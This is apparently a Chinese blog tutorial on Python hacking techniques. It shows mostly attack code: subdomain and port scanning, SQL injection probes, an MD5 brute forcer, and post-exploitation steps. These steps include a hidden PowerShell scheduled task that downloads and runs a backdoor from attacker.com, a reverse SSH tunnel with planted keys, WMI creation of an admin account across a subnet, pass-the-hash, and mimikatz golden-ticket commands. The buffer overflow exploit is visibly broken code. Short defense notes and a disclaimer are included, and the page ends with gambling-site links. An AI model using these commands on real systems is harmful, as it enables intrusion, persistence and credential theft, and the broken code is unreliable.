Python黑客技术实战指南:从网络渗透到安全防御

Python黑客技术实战指南:从网络渗透到安全防御

🌟 嗨,我是Lethehong!🌟

🌍 立志在坚不欲说,成功在久不在速🌍

🚀 欢迎关注:👍点赞⬆️留言收藏🚀

🍀欢迎使用:小智初学计算机网页AI🍀

1. Python在网络安全领域的优势Python凭借其丰富的第三方库和简洁的语法结构,已成为网络安全领域的首选语言。其主要优势体现在:

丰富的网络库支持:socket、requests、scapy等

快速原型开发:可在数小时内构建复杂工具

跨平台兼容性:Windows/Linux/macOS通用

社区资源丰富:超过10万个安全相关开源项目

与其他语言的无缝集成:C/C++/Go扩展支持

代码语言:python代码运行次数:0运行复制# 典型的安全工具结构示例

import argparse

import sys

from multiprocessing import Pool

class SecurityTool:

def __init__(self, target):

self.target = target

self.results = []

def scan(self):

# 扫描逻辑实现

pass

def report(self):

# 生成报告

pass

if __name__ == "__main__":

parser = argparse.ArgumentParser()

parser.add_argument("-t", "--target", required=True)

args = parser.parse_args()

tool = SecurityTool(args.target)

tool.scan()

tool.report()2. 网络侦察与信息收集2.1 子域名枚举技术代码语言:python代码运行次数:0运行复制import requests

from bs4 import BeautifulSoup

import itertools

class SubdomainEnumerator:

def __init__(self, domain):

self.domain = domain

self.wordlist = ["www", "mail", "ftp", "dev"]

def crtsh_search(self):

url = f"https://crt.sh/?q=%.{self.domain}"

response = requests.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

domains = set()

for row in soup.find_all('tr'):

cells = row.find_all('td')

if len(cells) > 4:

domain = cells[4].text.strip()

domains.add(domain)

return domains

def brute_force(self):

found = []

for sub in self.wordlist:

url = f"http://{sub}.{self.domain}"

try:

requests.get(url, timeout=3)

found.append(url)

except:

continue

return found

# 使用示例

enumerator = SubdomainEnumerator("example.com")

print("CRT.sh发现:", enumerator.crtsh_search())

print("暴力破解发现:", enumerator.brute_force())2.2 端口扫描高级技巧代码语言:python代码运行次数:0运行复制import socket

from concurrent.futures import ThreadPoolExecutor

class AdvancedPortScanner:

def __init__(self, target, ports=None):

self.target = target

self.ports = ports or range(1, 1024)

self.open_ports = []

def scan_port(self, port):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(1)

result = sock.connect_ex((self.target, port))

if result == 0:

service = socket.getservbyport(port, 'tcp')

self.open_ports.append((port, service))

sock.close()

def stealth_scan(self):

# 半开放扫描实现

pass

def run_scan(self, threads=100):

with ThreadPoolExecutor(max_workers=threads) as executor:

executor.map(self.scan_port, self.ports)

return sorted(self.open_ports)

# 使用示例

scanner = AdvancedPortScanner("192.168.1.1")

print("开放端口:", scanner.run_scan())3. 漏洞扫描与利用技术3.1 SQL注入检测工具代码语言:python代码运行次数:0运行复制import requests

from urllib.parse import urljoin

class SQLiScanner:

PAYLOADS = [

"'",

"')",

"';",

'"',

'")',

'";',

"`",

"`)",

"`;"

]

def __init__(self, url):

self.url = url

self.vulnerable = False

def test_injection(self):

for payload in self.PAYLOADS:

test_url = f"{self.url}{payload}"

response = requests.get(test_url)

if "error in your SQL syntax" in response.text:

self.vulnerable = True

return True

return False

# 使用示例

scanner = SQLiScanner("http://test.com/page?id=1")

if scanner.test_injection():

print("发现SQL注入漏洞!")3.2 缓冲区溢出漏洞利用代码语言:python代码运行次数:0运行复制import socket

import struct

class BufferOverflowExploit:

def __init__(self, target, port):

self.target = target

self.port = port

self.pattern = b"A" * 1024

self.eip = struct.pack("

def create_payload(self):

return self.pattern + self.eip + b"\x90"*16 + shellcode

def exploit(self):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((self.target, self.port))

sock.send(self.create_payload())

sock.close()

# 注意:此处仅为教学示例,实际使用需要定制4. 密码破解与加密对抗4.1 多线程密码爆破代码语言:python代码运行次数:0运行复制import hashlib

from itertools import product

from concurrent.futures import ThreadPoolExecutor

class PasswordCracker:

def __init__(self, hash_value, charset="abcdef123456"):

self.hash_value = hash_value

self.charset = charset

self.found = None

def check_password(self, candidate):

if hashlib.md5(candidate.encode()).hexdigest() == self.hash_value:

self.found = candidate

return True

return False

def brute_force(self, length=6):

with ThreadPoolExecutor(max_workers=8) as executor:

for pwd_length in range(1, length+1):

combinations = product(self.charset, repeat=pwd_length)

for combo in combinations:

candidate = ''.join(combo)

if executor.submit(self.check_password, candidate).result():

return candidate

return None

# 使用示例

cracker = PasswordCracker("e10adc3949ba59abbe56e057f20f883e") # 123456的MD5

print("破解结果:", cracker.brute_force())4.2 流量加密与解密代码语言:python代码运行次数:0运行复制from cryptography.fernet import Fernet

import base64

class SecureCommunicator:

def __init__(self, key=None):

self.key = key or Fernet.generate_key()

self.cipher = Fernet(self.key)

def encrypt(self, data):

return self.cipher.encrypt(data.encode())

def decrypt(self, encrypted_data):

return self.cipher.decrypt(encrypted_data).decode()

def save_key(self, filename):

with open(filename, "wb") as f:

f.write(base64.urlsafe_b64encode(self.key))

# 使用示例

comm = SecureCommunicator()

secret = comm.encrypt("Top Secret Message")

print("解密结果:", comm.decrypt(secret))5. 后渗透攻击技术深度解析权限维持技术代码示例1:Windows计划任务持久化(Python)

代码语言:python代码运行次数:0运行复制import os

# 创建每小时执行的后门计划任务

payload = "powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"

cmd = f'schtasks /create /tn "UpdateService" /tr "{payload}" /sc hourly /mo 1 /f'

os.system(cmd)技术原理:通过Windows任务计划程序实现持久化,每小时触发载荷下载。使用系统内置命令降低检测概率

防御对策:监控计划任务创建事件(Event ID 106),限制PowerShell执行策略

代码示例2:Linux SSH密钥植入(Bash)

代码语言:python代码运行次数:0运行复制# 在目标主机生成SSH密钥对

mkdir -p /dev/shm/.cache && cd $_

ssh-keygen -t rsa -N "" -f ./key

cat ./key.pub >> ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

# 建立反向SSH隧道

ssh -i key -fNTR 2222:localhost:22 user@attacker.com技术原理:利用SSH密钥认证实现无密码访问,通过反向隧道穿透防火墙

检测方法:审计authorized_keys文件修改时间,监控非常规端口SSH连接

横向移动技术代码示例3:基于WMI的远程执行(PowerShell)

代码语言:python代码运行次数:0运行复制$cred = Get-Credential

$command = "net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add"

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $command `

-ComputerName 192.168.1.0/24 -Credential $cred -ErrorAction SilentlyContinue技术原理:利用WMI管理协议在网段内批量执行命令,通过ICMP回显确认存活主机

防御措施:启用Windows防火墙过滤WMI流量(TCP 135),配置主机级执行策略限制

代码示例4:Pass-the-Hash攻击模拟(Python)

代码语言:python代码运行次数:0运行复制from impacket import smb

hash = "aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4"

conn = smb.SMB('192.168.1.10', '192.168.1.10')

conn.login('Administrator', '', lmhash=hash[:32], nthash=hash[33:])

conn.createShare('ADMIN$')技术原理:利用NTLM哈希直接通过SMB协议认证,无需破解明文密码

检测方案:监控Event ID 4624(登录类型3)中的异常NTLM登录事件

6. 防御性编程实践输入验证强化代码示例5:SQL注入防御(Python Flask)

代码语言:python代码运行次数:0运行复制from flask import request

import re

def sanitize_input(input_str):

pattern = r"^[a-zA-Z0-9_\-@. ]{1,50}$"

if not re.match(pattern, input_str):

raise ValueError("非法输入字符")

return input_str.strip()

@app.route('/search')

def search():

keyword = sanitize_input(request.args.get('q'))

# 使用参数化查询

cursor.execute("SELECT * FROM products WHERE name LIKE %s", ('%'+keyword+'%',))技术要点:白名单正则验证 + 参数化查询 + 长度限制,三重防御机制

沙箱技术实现代码示例6:Python动态分析沙箱

代码语言:python代码运行次数:0运行复制import sys

import os

import tempfile

from restricted_env import RestrictedEnvironment

def analyze_malware(code):

with tempfile.TemporaryDirectory() as tmpdir:

# 限制资源访问

env = RestrictedEnvironment(

stdout=sys.stdout,

stderr=sys.stderr,

filesystem_root=tmpdir,

network_access=False,

max_memory=256*1024*1024

)

try:

env.execute(code, timeout=30)

except SecurityViolation as e:

print(f"检测到危险操作: {e}")7. 法律与道德规范典型案例:

美国诉Morris案(1988):首个依据《计算机欺诈和滥用法》定罪案件英国国家医疗系统(NHS)渗透测试诉讼:超出授权范围的扫描导致服务中断道德框架:

代码语言:python代码运行次数:0运行复制graph TD

A[授权范围] --> B(书面授权文件)

A --> C(时间窗口限定)

D[数据保护] --> E(不提取敏感数据)

D --> F(测试后数据销毁)

G[报告规范] --> H(包含完整攻击链)

G --> I(提供修复建议)8. 综合实战案例攻击阶段分解:

代码语言:python代码运行次数:0运行复制1. 信息收集

- ASN映射:使用amass intel -org <公司名>

- 子域名爆破:altdns -i domains.txt -o permutations.txt

2. 漏洞利用

- JWT伪造攻击:python3 jwt_tool.py -t http://target.com -rc "role=admin"

3. 后渗透阶段

- 域内信息收集:bloodhound-python -d domain.com -u user -p 'Password123!' -c All

- 黄金票据生成:mimikatz "kerberos::golden /domain:domain.com /sid:S-1-5-21-... /rc4:hash /user:Administrator"9. 推荐资源工具链矩阵:

类别

开源工具

商业方案

漏洞扫描

OpenVAS, nuclei

Nessus, Qualys

流量分析

Zeek, Suricata

Darktrace, Vectra

取证分析

Autopsy, Volatility

EnCase, X-Ways

法律声明与道德准则本文所有技术内容仅供学习研究使用,任何未授权访问计算机系统、破坏数据完整性的行为均属违法。读者应在法律允许范围内进行安全测试,遵循以下原则:

始终获取明确书面授权不得影响目标系统可用性严格保护发现的漏洞信息遵守当地网络安全法律法规安全从业者应秉持"白帽"精神,将技术能力用于提升网络安全防护水平,共同维护数字世界的安全秩序。

相关数据

魔兽世界熔火前线攻势任务怎么做
365bet官方开户

魔兽世界熔火前线攻势任务怎么做

⌛ 07-04 👁️‍🗨️ 3970
荣耀典藏的全皮肤梯队排行!4款天花板级别,第一颗水晶优先兑换
365bet稳定备用网站

荣耀典藏的全皮肤梯队排行!4款天花板级别,第一颗水晶优先兑换

⌛ 06-27 👁️‍🗨️ 7031
上帝的宠儿 : 英汉对照
365bet在线娱

上帝的宠儿 : 英汉对照

⌛ 06-28 👁️‍🗨️ 3019
英雄联盟什么叫抢蓝?抢蓝抢红是什么意思
365bet稳定备用网站

英雄联盟什么叫抢蓝?抢蓝抢红是什么意思

⌛ 07-11 👁️‍🗨️ 6558
如何正确的看电影?(干货篇)
365bet官方开户

如何正确的看电影?(干货篇)

⌛ 07-01 👁️‍🗨️ 9859